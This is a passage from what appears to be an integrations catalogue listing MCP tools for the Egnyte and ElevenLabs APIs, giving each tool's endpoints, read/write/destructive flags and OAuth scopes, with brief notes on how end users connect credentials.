/api/v1/egnyte/pubapi/v1/ai/agents/{agentId}/ask/{requestId}/status. Scopes: Egnyte.ai. egnyte_get_pubapi_v1_ai_agents_list (read) — List agents via GET /pubapi/v1/ai/agents/list GET /api/v1/egnyte/pubapi/v1/ai/agents/list. Scopes: Egnyte.ai. egnyte_get_pubapi_v1_ai_assistant_by_executionid_status (read) — Get execution status via GET /pubapi/v1/ai/assistant/{executionId}/status GET /api/v1/egnyte/pubapi/v1/ai/assistant/{executionId}/status. Scopes: Egnyte.ai. egnyte_get_pubapi_v1_audit_by_type_by_id (read) — Retrieve audit report via GET /pubapi/v1/audit/{type}/{id} GET /api/v1/egnyte/pubapi/v1/audit/{type}/{id}. Scopes: Egnyte.audit. egnyte_get_pubapi_v1_audit_jobs_by_id (read) — Check audit report generation status via GET /pubapi/v1/audit/jobs/{id} GET /api/v1/egnyte/pubapi/v1/audit/jobs/{id}. Scopes: Egnyte.audit. egnyte_get_pubapi_v1_bookmarks (read) — List bookmarks via GET /pubapi/v1/bookmarks GET /api/v1/egnyte/pubapi/v1/bookmarks. Scopes: Egnyte.bookmark. egnyte_get_pubapi_v1_bookmarks_by_id (read) — Get bookmark by id via GET /pubapi/v1/bookmarks/{id} GET /api/v1/egnyte/pubapi/v1/bookmarks/{id}. Scopes: Egnyte.bookmark. egnyte_get_pubapi_v1_document_portal_settings (read) — Get document portal settings via GET /pubapi/v1/document-portal/settings GET /api/v1/egnyte/pubapi/v1/document-portal/settings. Scopes: Egnyte.documentportal. egnyte_get_pubapi_v1_document_portal_workspaces (read) — List workspaces via GET /pubapi/v1/document-portal/workspaces GET /api/v1/egnyte/pubapi/v1/document-portal/workspaces. Scopes: Egnyte.documentportal. egnyte_get_pubapi_v1_egnyte_sign_signature_requests_my_requests (read) — List assigned signature requests via GET /pubapi/v1/egnyte-sign/signature-requests/my-requests GET /api/v1/egnyte/pubapi/v1/egnyte-sign/signature-requests/my-requests. Scopes: Egnyte.sign. egnyte_get_pubapi_v1_egnyte_sign_signature_requests_sent_requests (read) — List sent signature requests via GET /pubapi/v1/egnyte-sign/signature-requests/sent-requests GET /api/v1/egnyte/pubapi/v1/egnyte-sign/signature-requests/sent-requests. Scopes: Egnyte.sign. egnyte_get_pubapi_v1_egnyte_sign_templates (read) — List templates via GET /pubapi/v1/egnyte-sign/templates GET /api/v1/egnyte/pubapi/v1/egnyte-sign/templates. Scopes: Egnyte.sign. egnyte_get_pubapi_v1_egnyte_sign_templates_by_template_id (read) — Get template details via GET /pubapi/v1/egnyte-sign/templates/{template_id} GET /api/v1/egnyte/pubapi/v1/egnyte-sign/templates/{template_id}. Scopes: Egnyte.sign. egnyte_get_pubapi_v1_etmf_studies (read) — List studies via GET /pubapi/v1/etmf/studies GET /api/v1/egnyte/pubapi/v1/etmf/studies. Scopes: Egnyte.etmf. egnyte_get_pubapi_v1_etmf_studies_by_studyid_artifacts (read) — List artifacts and milestones via GET /pubapi/v1/etmf/studies/{studyId}/artifacts GET /api/v1/egnyte/pubapi/v1/etmf/studies/{studyId}/artifacts. Scopes: Egnyte.etmf. egnyte_get_pubapi_v1_etmf_studies_by_studyid_filing_levels (read) — List filing levels via GET /pubapi/v1/etmf/studies/{studyId}/filing-levels GET /api/v1/egnyte/pubapi/v1/etmf/studies/{studyId}/filing-levels. Scopes: Egnyte.etmf. egnyte_get_pubapi_v1_events (read) — List events v1 via GET /pubapi/v1/events GET /api/v1/egnyte/pubapi/v1/events. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_events_cursor (read) — Get current cursor via GET /pubapi/v1/events/cursor GET /api/v1/egnyte/pubapi/v1/events/cursor. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_fs_by_full_path_to_file_folder (read) — List file or folder via GET /pubapi/v1/fs/{path} GET /api/v1/egnyte/pubapi/v1/fs/{path}. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_fs_ids_file_by_group_id_or_entry_id_properties_by_namespace_name (read) — Get values for a namespace file via GET /pubapi/v1/fs/ids/file/{group_id_or_entry_id}/properties/{namespace_name} GET /api/v1/egnyte/pubapi/v1/fs/ids/file/{group_id_or_entry_id}/properties/{namespace_name}. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_fs_ids_folder_by_folder_id_properties_by_namespace_name (read) — Get values for a namespace folder via GET /pubapi/v1/fs/ids/folder/{folder_id}/properties/{namespace_name} GET /api/v1/egnyte/pubapi/v1/fs/ids/folder/{folder_id}/properties/{namespace_name}. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_fs_ids_folder_by_folder_id_stats (read) — Get folder statistics via GET /pubapi/v1/fs/ids/folder/{FOLDER_ID}/stats GET /api/v1/egnyte/pubapi/v1/fs/ids/folder/{FOLDER_ID}/stats. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_fs_trash (read) — List trash contents v1 via GET /pubapi/v1/fs/trash GET /api/v1/egnyte/pubapi/v1/fs/trash. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_insights_files (read) — List recent files via GET /pubapi/v1/insights/files GET /api/v1/egnyte/pubapi/v1/insights/files. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_links (read) — List links via GET /pubapi/v1/links GET /api/v1/egnyte/pubapi/v1/links. Scopes: Egnyte.link. egnyte_get_pubapi_v1_links_by_link_id (read) — Show link details via GET /pubapi/v1/links/{link_id} GET /api/v1/egnyte/pubapi/v1/links/{link_id}. Scopes: Egnyte.link. egnyte_get_pubapi_v1_notes (read) — List comments via GET /pubapi/v1/notes GET /api/v1/egnyte/pubapi/v1/notes. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_notes_by_uuid (read) — Show comment via GET /pubapi/v1/notes/{uuid} GET /api/v1/egnyte/pubapi/v1/notes/{uuid}. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_perms_folder_by_path (read) — Get folder permissions v1 via GET /pubapi/v1/perms/folder/{path} GET /api/v1/egnyte/pubapi/v1/perms/folder/{path}. Scopes: Egnyte.permission. egnyte_get_pubapi_v1_perms_user_by_username (read) — Get effective permissions for a user via GET /pubapi/v1/perms/user/{username} GET /api/v1/egnyte/pubapi/v1/perms/user/{username}. Scopes: Egnyte.permission. egnyte_get_pubapi_v1_properties_namespace (read) — Get all namespaces via GET /pubapi/v1/properties/namespace GET /api/v1/egnyte/pubapi/v1/properties/namespace. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_properties_namespace_by_namespace_name (read) — Get namespace via GET /pubapi/v1/properties/namespace/{namespace_name} GET /api/v1/egnyte/pubapi/v1/properties/namespace/{namespace_name}. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_properties_project_tag_custom_fields (read) — List all custom field definitions via GET /pubapi/v1/properties/project-tag/custom-fields GET /api/v1/egnyte/pubapi/v1/properties/project-tag/custom-fields. Scopes: Egnyte.projectfolders. egnyte_get_pubapi_v1_search (read) — Search v1 via GET /pubapi/v1/search GET /api/v1/egnyte/pubapi/v1/search. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_upload_requests_templates (read) — List templates via GET /pubapi/v1/upload-requests/templates GET /api/v1/egnyte/pubapi/v1/upload-requests/templates. Scopes: Egnyte.uploadrequests. egnyte_get_pubapi_v1_userinfo (read) — Get user info for an oauth token via GET /pubapi/v1/userinfo GET /api/v1/egnyte/pubapi/v1/userinfo. Scopes: none. egnyte_get_pubapi_v1_webhooks (read) — List webhooks via GET /pubapi/v1/webhooks GET /api/v1/egnyte/pubapi/v1/webhooks. Scopes: Egnyte.webhooks. egnyte_get_pubapi_v1_webhooks_by_webhookid_details (read) — Get webhook details via GET /pubapi/v1/webhooks/{webhookId}/details GET /api/v1/egnyte/pubapi/v1/webhooks/{webhookId}/details. Scopes: Egnyte.webhooks. egnyte_get_pubapi_v1_webhooks_by_webhookid_status (read) — Get webhook status via GET /pubapi/v1/webhooks/{webhookId}/status GET /api/v1/egnyte/pubapi/v1/webhooks/{webhookId}/status. Scopes: Egnyte.webhooks. egnyte_get_pubapi_v1_whoami (read) — Get current user information via GET /pubapi/v1/whoami GET /api/v1/egnyte/pubapi/v1/whoami. Scopes: none. egnyte_get_pubapi_v1_workflows (read) — List workflows via GET /pubapi/v1/workflows GET /api/v1/egnyte/pubapi/v1/workflows. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_workflows_by_workflow_id (read) — Get workflow details via GET /pubapi/v1/workflows/{WORKFLOW_ID} GET /api/v1/egnyte/pubapi/v1/workflows/{WORKFLOW_ID}. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v1_workflows_tasks (read) — List tasks via GET /pubapi/v1/workflows/tasks GET /api/v1/egnyte/pubapi/v1/workflows/tasks. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v2_audit_stream (read) — Retrieve audit events get via GET /pubapi/v2/audit/stream GET /api/v1/egnyte/pubapi/v2/audit/stream. Scopes: Egnyte.audit. egnyte_get_pubapi_v2_events (read) — List events v2 via GET /pubapi/v2/events GET /api/v1/egnyte/pubapi/v2/events. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v2_fs_trash (read) — List trash contents v2 via GET /pubapi/v2/fs/trash GET /api/v1/egnyte/pubapi/v2/fs/trash. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v2_fs_trash_totalcount (read) — Get trash total count via GET /pubapi/v2/fs/trash/totalcount GET /api/v1/egnyte/pubapi/v2/fs/trash/totalcount. Scopes: Egnyte.filesystem. egnyte_get_pubapi_v2_groups (read) — List groups via GET /pubapi/v2/groups GET /api/v1/egnyte/pubapi/v2/groups. Scopes: Egnyte.group. egnyte_get_pubapi_v2_groups_by_group_id (read) — Show single group via GET /pubapi/v2/groups/{group_id} GET /api/v1/egnyte/pubapi/v2/groups/{group_id}. Scopes: Egnyte.group. egnyte_get_pubapi_v2_links (read) — List links v2 via GET /pubapi/v2/links GET /api/v1/egnyte/pubapi/v2/links. Scopes: Egnyte.link. egnyte_get_pubapi_v2_perms_by_path (read) — Get folder permissions via GET /pubapi/v2/perms/{path} GET /api/v1/egnyte/pubapi/v2/perms/{path}. Scopes: Egnyte.permission. egnyte_get_pubapi_v2_project_folders (read) — List all projects via GET /pubapi/v2/project-folders GET /api/v1/egnyte/pubapi/v2/project-folders. Scopes: Egnyte.projectfolders. egnyte_get_pubapi_v2_project_folders_by_project_id (read) — Get project by id via GET /pubapi/v2/project-folders/{project_id} GET /api/v1/egnyte/pubapi/v2/project-folders/{project_id}. Scopes: Egnyte.projectfolders. egnyte_get_pubapi_v2_users (read) — Get user list via GET /pubapi/v2/users GET /api/v1/egnyte/pubapi/v2/users. Scopes: Egnyte.user. egnyte_get_pubapi_v2_users_by_id (read) — Get single user via GET /pubapi/v2/users/{id} GET /api/v1/egnyte/pubapi/v2/users/{id}. Scopes: Egnyte.user. egnyte_patch_pubapi_v1_fs_by_path (write) — Modify folder options via PATCH /pubapi/v1/fs/{path} PATCH /api/v1/egnyte/pubapi/v1/fs/{path}. Scopes: Egnyte.filesystem. egnyte_patch_pubapi_v1_properties_namespace_by_namespace_name (write) — Update namespace attributes via PATCH /pubapi/v1/properties/namespace/{namespace_name} PATCH /api/v1/egnyte/pubapi/v1/properties/namespace/{namespace_name}. Scopes: Egnyte.filesystem. egnyte_patch_pubapi_v1_properties_project_tag_custom_fields_by_field_name (write) — Update a custom field definition via PATCH /pubapi/v1/properties/project-tag/custom-fields/{field_name} PATCH /api/v1/egnyte/pubapi/v1/properties/project-tag/custom-fields/{field_name}. Scopes: Egnyte.projectfolders. egnyte_patch_pubapi_v1_properties_project_tag_custom_fields_by_field_name_data (write, destructive) — Delete custom field definition data via PATCH /pubapi/v1/properties/project-tag/custom-fields/{field_name}/data PATCH /api/v1/egnyte/pubapi/v1/properties/project-tag/custom-fields/{field_name}/data. Scopes: Egnyte.projectfolders. egnyte_patch_pubapi_v2_groups_by_group_id (write) — Partial update to a group via PATCH /pubapi/v2/groups/{group_id} PATCH /api/v1/egnyte/pubapi/v2/groups/{group_id}. Scopes: Egnyte.group. egnyte_patch_pubapi_v2_project_folders_by_project_id (write) — Update project via PATCH /pubapi/v2/project-folders/{project_id} PATCH /api/v1/egnyte/pubapi/v2/project-folders/{project_id}. Scopes: Egnyte.projectfolders. egnyte_patch_pubapi_v2_users_by_id (write) — Update single user via PATCH /pubapi/v2/users/{id} PATCH /api/v1/egnyte/pubapi/v2/users/{id}. Scopes: Egnyte.user. egnyte_post_pubapi_v1_ai_agents_by_agentid_ask (write) — Ask a question to an agent via POST /pubapi/v1/ai/agents/{agentId}/ask POST /api/v1/egnyte/pubapi/v1/ai/agents/{agentId}/ask. Scopes: Egnyte.ai. egnyte_post_pubapi_v1_ai_assistant_ask (read) — Ai assistant ask via POST /pubapi/v1/ai/assistant/ask POST /api/v1/egnyte/pubapi/v1/ai/assistant/ask. Scopes: Egnyte.ai. egnyte_post_pubapi_v1_ai_copilot_ask (read) — Copilot ask via POST /pubapi/v1/ai/copilot/ask POST /api/v1/egnyte/pubapi/v1/ai/copilot/ask. Scopes: Egnyte.ai. egnyte_post_pubapi_v1_ai_document_by_entry_id_ask (read) — Ask a question via POST /pubapi/v1/ai/document/{entry-id}/ask POST /api/v1/egnyte/pubapi/v1/ai/document/{entry_id}/ask. Scopes: Egnyte.ai. egnyte_post_pubapi_v1_ai_document_by_entry_id_summary (read) — Summarize a document via POST /pubapi/v1/ai/document/{entry-id}/summary POST /api/v1/egnyte/pubapi/v1/ai/document/{entry_id}/summary. Scopes: Egnyte.ai. egnyte_post_pubapi_v1_ai_kb_by_kb_id_ask (read) — Ask knowledge base via POST /pubapi/v1/ai/kb/{kb-id}/ask POST /api/v1/egnyte/pubapi/v1/ai/kb/{kb_id}/ask. Scopes: Egnyte.ai. egnyte_post_pubapi_v1_ai_kb_list (read) — List knowledge bases via POST /pubapi/v1/ai/kb/list POST /api/v1/egnyte/pubapi/v1/ai/kb/list. Scopes: Egnyte.ai. egnyte_post_pubapi_v1_audit_etmf (write) — Create etmf audit report via POST /pubapi/v1/audit/etmf POST /api/v1/egnyte/pubapi/v1/audit/etmf. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_files (write) — Create file audit report via POST /pubapi/v1/audit/files POST /api/v1/egnyte/pubapi/v1/audit/files. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_groups (write) — Create group provisioning audit report via POST /pubapi/v1/audit/groups POST /api/v1/egnyte/pubapi/v1/audit/groups. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_logins (write) — Create login audit report via POST /pubapi/v1/audit/logins POST /api/v1/egnyte/pubapi/v1/audit/logins. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_permissions (write) — Create permissions audit report via POST /pubapi/v1/audit/permissions POST /api/v1/egnyte/pubapi/v1/audit/permissions. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_quality_docs (write) — Create quality docs audit report via POST /pubapi/v1/audit/quality-docs POST /api/v1/egnyte/pubapi/v1/audit/quality-docs. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_quality_docs_categories (write) — Create quality docs categories audit report via POST /pubapi/v1/audit/quality-docs-categories POST /api/v1/egnyte/pubapi/v1/audit/quality-docs-categories. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_quality_docs_courses (write) — Create quality docs courses audit report via POST /pubapi/v1/audit/quality-docs-courses POST /api/v1/egnyte/pubapi/v1/audit/quality-docs-courses. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_snapshot_restore (write) — Create snapshot restore audit report via POST /pubapi/v1/audit/snapshot-restore POST /api/v1/egnyte/pubapi/v1/audit/snapshot-restore. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_upload_requests (write) — Create upload requests audit report via POST /pubapi/v1/audit/upload-requests POST /api/v1/egnyte/pubapi/v1/audit/upload-requests. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_users (write) — Create user provisioning audit report via POST /pubapi/v1/audit/users POST /api/v1/egnyte/pubapi/v1/audit/users. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_workflow_templates (write) — Create workflow templates audit report via POST /pubapi/v1/audit/workflow-templates POST /api/v1/egnyte/pubapi/v1/audit/workflow-templates. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_workflows (write) — Create workflow audit report via POST /pubapi/v1/audit/workflows POST /api/v1/egnyte/pubapi/v1/audit/workflows. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_audit_workgroup_settings (write) — Create configuration settings audit report via POST /pubapi/v1/audit/workgroup-settings POST /api/v1/egnyte/pubapi/v1/audit/workgroup-settings. Scopes: Egnyte.audit. egnyte_post_pubapi_v1_bookmarks (write) — Create a bookmark via POST /pubapi/v1/bookmarks POST /api/v1/egnyte/pubapi/v1/bookmarks. Scopes: Egnyte.bookmark. egnyte_post_pubapi_v1_controlled_docs_assignments_import (write) — Import training assignments via POST /pubapi/v1/controlled-docs/assignments/import POST /api/v1/egnyte/pubapi/v1/controlled-docs/assignments/import. Scopes: Egnyte.controlleddocs. egnyte_post_pubapi_v1_controlled_docs_documents_import (write) — Import a document via POST /pubapi/v1/controlled-docs/documents/import POST /api/v1/egnyte/pubapi/v1/controlled-docs/documents/import. Scopes: Egnyte.controlleddocs. egnyte_post_pubapi_v1_document_portal_workspaces (write) — Create workspace via POST /pubapi/v1/document-portal/workspaces POST /api/v1/egnyte/pubapi/v1/document-portal/workspaces. Scopes: Egnyte.documentportal. egnyte_post_pubapi_v1_egnyte_sign_signature_requests (write) — Create signature request via POST /pubapi/v1/egnyte-sign/signature-requests POST /api/v1/egnyte/pubapi/v1/egnyte-sign/signature-requests. Scopes: Egnyte.sign. egnyte_post_pubapi_v1_etmf_studies_by_studyid_documents (write) — Add documents via POST /pubapi/v1/etmf/studies/{studyId}/documents POST /api/v1/egnyte/pubapi/v1/etmf/studies/{studyId}/documents. Scopes: Egnyte.etmf. egnyte_post_pubapi_v1_etmf_studies_by_studyid_documents_listing (read) — List documents via POST /pubapi/v1/etmf/studies/{studyId}/documents/listing POST /api/v1/egnyte/pubapi/v1/etmf/studies/{studyId}/documents/listing. Scopes: Egnyte.etmf. egnyte_post_pubapi_v1_fs_by_full_path_to_file (write) — Lock or unlock a file (body action lock/unlock) via POST /pubapi/v1/fs/{path} POST /api/v1/egnyte/pubapi/v1/fs/lock/{path}. Scopes: Egnyte.filesystem. egnyte_post_pubapi_v1_fs_by_full_path_to_file_folder (write) — Move or copy a file or folder (body action move/copy with destination) via POST /pubapi/v1/fs/{path} POST /api/v1/egnyte/pubapi/v1/fs/move/{path}. Scopes: Egnyte.filesystem. egnyte_post_pubapi_v1_fs_by_full_path_to_folder (write) — Create a folder at the given path (body action add_folder) via POST /pubapi/v1/fs/{path} POST /api/v1/egnyte/pubapi/v1/fs/create-folder/{path}. Scopes: Egnyte.filesystem. egnyte_post_pubapi_v1_fs_trash (write) — Restore items from trash via POST /pubapi/v1/fs/trash POST /api/v1/egnyte/pubapi/v1/fs/trash. Scopes: Egnyte.filesystem. egnyte_post_pubapi_v1_hybrid_search (read) — Hybrid search via POST /pubapi/v1/hybrid-search POST /api/v1/egnyte/pubapi/v1/hybrid-search. Scopes: Egnyte.ai. egnyte_post_pubapi_v1_links (write) — Create a link via POST /pubapi/v1/links POST /api/v1/egnyte/pubapi/v1/links. Scopes: Egnyte.link. egnyte_post_pubapi_v1_navigate_embedded_by_scope (write) — Generate an embedded Navigate URL (v1, deprecated -- prefer egnyte_post_pubapi_v2_navigate) via POST /pubapi/v1/navigate/embedded/{scope} POST /api/v1/egnyte/pubapi/v1/navigate/embedded/{scope}. Scopes: Egnyte.launchwebsession. egnyte_post_pubapi_v1_notes (write) — Add a comment via POST /pubapi/v1/notes POST /api/v1/egnyte/pubapi/v1/notes. Scopes: Egnyte.filesystem. egnyte_post_pubapi_v1_perms_folder_by_path (write) — Set folder permissions v1 via POST /pubapi/v1/perms/folder/{path} POST /api/v1/egnyte/pubapi/v1/perms/folder/{path}. Scopes: Egnyte.permission. egnyte_post_pubapi_v1_project_folders (write) — Mark folder as project via POST /pubapi/v1/project-folders POST /api/v1/egnyte/pubapi/v1/project-folders. Scopes: Egnyte.projectfolders. egnyte_post_pubapi_v1_project_folders_by_project_id_cleanup (write, destructive) — Clean up project via POST /pubapi/v1/project-folders/{project_id}/cleanup POST /api/v1/egnyte/pubapi/v1/project-folders/{project_id}/cleanup. Scopes: Egnyte.projectfolders. egnyte_post_pubapi_v1_properties_project_tag_custom_fields (write) — Create a custom field definition via POST /pubapi/v1/properties/project-tag/custom-fields POST /api/v1/egnyte/pubapi/v1/properties/project-tag/custom-fields. Scopes: Egnyte.projectfolders. egnyte_post_pubapi_v1_search (read) — Search metadata via POST /pubapi/v1/search POST /api/v1/egnyte/pubapi/v1/search. Scopes: Egnyte.filesystem. egnyte_post_pubapi_v1_upload_requests (write) — Create upload request via POST /pubapi/v1/upload-requests POST /api/v1/egnyte/pubapi/v1/upload-requests. Scopes: Egnyte.uploadrequests. egnyte_post_pubapi_v1_webhooks (write) — Register a webhook via POST /pubapi/v1/webhooks POST /api/v1/egnyte/pubapi/v1/webhooks. Scopes: Egnyte.webhooks. egnyte_post_pubapi_v1_webhooks_by_webhookid_status (write) — Update webhook status via POST /pubapi/v1/webhooks/{webhookId}/status POST /api/v1/egnyte/pubapi/v1/webhooks/{webhookId}/status. Scopes: Egnyte.webhooks. egnyte_post_pubapi_v1_workflows (write) — Create workflow via POST /pubapi/v1/workflows POST /api/v1/egnyte/pubapi/v1/workflows. Scopes: Egnyte.filesystem. egnyte_post_pubapi_v2_audit_stream (read) — Retrieve audit events post via POST /pubapi/v2/audit/stream POST /api/v1/egnyte/pubapi/v2/audit/stream. Scopes: Egnyte.audit. egnyte_post_pubapi_v2_groups (write) — Create a group via POST /pubapi/v2/groups POST /api/v1/egnyte/pubapi/v2/groups. Scopes: Egnyte.group. egnyte_post_pubapi_v2_navigate (write) — Generate a Navigate URL that opens the Egnyte Web UI at a file, folder or search via POST /pubapi/v2/navigate POST /api/v1/egnyte/pubapi/v2/navigate. Scopes: Egnyte.launchwebsession. egnyte_post_pubapi_v2_perms_by_path (write) — Set folder permissions via POST /pubapi/v2/perms/{path} POST /api/v1/egnyte/pubapi/v2/perms/{path}. Scopes: Egnyte.permission. egnyte_post_pubapi_v2_project_folders (write) — Create project from template via POST /pubapi/v2/project-folders POST /api/v1/egnyte/pubapi/v2/project-folders. Scopes: Egnyte.projectfolders. egnyte_post_pubapi_v2_project_folders_search (read) — Find project by root folder via POST /pubapi/v2/project-folders/search POST /api/v1/egnyte/pubapi/v2/project-folders/search. Scopes: Egnyte.projectfolders. egnyte_post_pubapi_v2_search (read) — Search v2 via POST /pubapi/v2/search POST /api/v1/egnyte/pubapi/v2/search. Scopes: Egnyte.filesystem. egnyte_post_pubapi_v2_users (write) — Create single user via POST /pubapi/v2/users POST /api/v1/egnyte/pubapi/v2/users. Scopes: Egnyte.user. egnyte_put_pubapi_v1_webhooks_by_webhookid (write) — Update webhook via PUT /pubapi/v1/webhooks/{webhookId} PUT /api/v1/egnyte/pubapi/v1/webhooks/{webhookId}. Scopes: Egnyte.webhooks. egnyte_put_pubapi_v2_groups_by_group_id (write) — Full update to a group via PUT /pubapi/v2/groups/{group_id} PUT /api/v1/egnyte/pubapi/v2/groups/{group_id}. Scopes: Egnyte.group. ================================================================================ ## ElevenLabs URL: https://www.agenticfabriq.com/integrations/elevenlabs Section: Integrated Tools ElevenLabs — 336 MCP tools Provider key: elevenlabs. Scopes: add_voice_from_voice_library, audio_isolation, audio_native_read, audio_native_write, audit_log_read, convai_read, convai_write, create_professional_voice_clone, dubbing_read, dubbing_write, flows, group_members_manage, image_video_generation, models_read, music_generation, projects_read, projects_write, pronunciation_dictionaries_read, pronunciation_dictionaries_write, service_account_write, speech_history_read, speech_history_write, speech_to_text, text_to_speech, user_read, voice_generation, voices_read, voices_write, webhooks_write, workspace_analytics_full_read, workspace_members_invite, workspace_members_read, workspace_read, workspace_write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. elevenlabs_delete_v1_assets_by_asset_id (write, destructive) — Delete Asset via DELETE /v1/assets/{asset_id} DELETE /api/v1/elevenlabs/v1/assets/{asset_id}. Scopes: image_video_generation. elevenlabs_delete_v1_audio_isolation_history_by_history_item_id (write, destructive) — Delete Audio Isolation History Item via DELETE /v1/audio-isolation/history/{history_item_id} DELETE /api/v1/elevenlabs/v1/audio-isolation/history/{history_item_id}. Scopes: audio_isolation. elevenlabs_delete_v1_convai_agent_testing_by_test_id (write, destructive) — Delete Agent Response Test via DELETE /v1/convai/agent-testing/{test_id} DELETE /api/v1/elevenlabs/v1/convai/agent-testing/{test_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_agent_testing_folders_by_folder_id (write, destructive) — Delete Agent Test Folder via DELETE /v1/convai/agent-testing/folders/{folder_id} DELETE /api/v1/elevenlabs/v1/convai/agent-testing/folders/{folder_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_agents_by_agent_id (write, destructive) — Delete Agent via DELETE /v1/convai/agents/{agent_id} DELETE /api/v1/elevenlabs/v1/convai/agents/{agent_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_agents_by_agent_id_branches_by_branch_id_procedures_by_procedure_id (write, destructive) — Remove Procedure via DELETE /v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id} DELETE /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_agents_by_agent_id_branches_by_branch_id_procedures_by_procedure_id_draft (write, destructive) — Delete Procedure Draft via DELETE /v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id}/draft DELETE /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id}/draft. Scopes: convai_write. elevenlabs_delete_v1_convai_agents_by_agent_id_drafts (write, destructive) — Delete Agent Draft via DELETE /v1/convai/agents/{agent_id}/drafts DELETE /api/v1/elevenlabs/v1/convai/agents/{agent_id}/drafts. Scopes: convai_write. elevenlabs_delete_v1_convai_batch_calling_by_batch_id (write, destructive) — Delete A Batch Call. via DELETE /v1/convai/batch-calling/{batch_id} DELETE /api/v1/elevenlabs/v1/convai/batch-calling/{batch_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_conversations_by_conversation_id (write, destructive) — Delete Conversation via DELETE /v1/convai/conversations/{conversation_id} DELETE /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_conversations_by_conversation_id_files_by_file_id (write, destructive) — Delete File Upload via DELETE /v1/convai/conversations/{conversation_id}/files/{file_id} DELETE /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}/files/{file_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_conversations_by_conversation_id_tags_by_tag_id (write, destructive) — Unassign Conversation Tag via DELETE /v1/convai/conversations/{conversation_id}/tags/{tag_id} DELETE /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}/tags/{tag_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_knowledge_base_by_documentation_id (write, destructive) — Delete Knowledge Base Document Or Folder via DELETE /v1/convai/knowledge-base/{documentation_id} DELETE /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_knowledge_base_by_documentation_id_rag_index_by_rag_index_id (write, destructive) — Delete Rag Index. via DELETE /v1/convai/knowledge-base/{documentation_id}/rag-index/{rag_index_id} DELETE /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/rag-index/{rag_index_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_mcp_servers_by_mcp_server_id (write, destructive) — Delete Mcp Server via DELETE /v1/convai/mcp-servers/{mcp_server_id} DELETE /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_mcp_servers_by_mcp_server_id_tool_approvals_by_tool_name (write, destructive) — Delete Mcp Server Tool Approval via DELETE /v1/convai/mcp-servers/{mcp_server_id}/tool-approvals/{tool_name} DELETE /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}/tool-approvals/{tool_name}. Scopes: convai_write. elevenlabs_delete_v1_convai_mcp_servers_by_mcp_server_id_tool_configs_by_tool_name (write, destructive) — Delete Mcp Tool Configuration Override via DELETE /v1/convai/mcp-servers/{mcp_server_id}/tool-configs/{tool_name} DELETE /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}/tool-configs/{tool_name}. Scopes: convai_write. elevenlabs_delete_v1_convai_phone_numbers_by_phone_number_id (write, destructive) — Delete Phone Number via DELETE /v1/convai/phone-numbers/{phone_number_id} DELETE /api/v1/elevenlabs/v1/convai/phone-numbers/{phone_number_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_secrets_by_secret_id (write, destructive) — Delete Convai Workspace Secret via DELETE /v1/convai/secrets/{secret_id} DELETE /api/v1/elevenlabs/v1/convai/secrets/{secret_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_tags_by_tag_id (write, destructive) — Delete Conversation Tag via DELETE /v1/convai/tags/{tag_id} DELETE /api/v1/elevenlabs/v1/convai/tags/{tag_id}. Scopes: 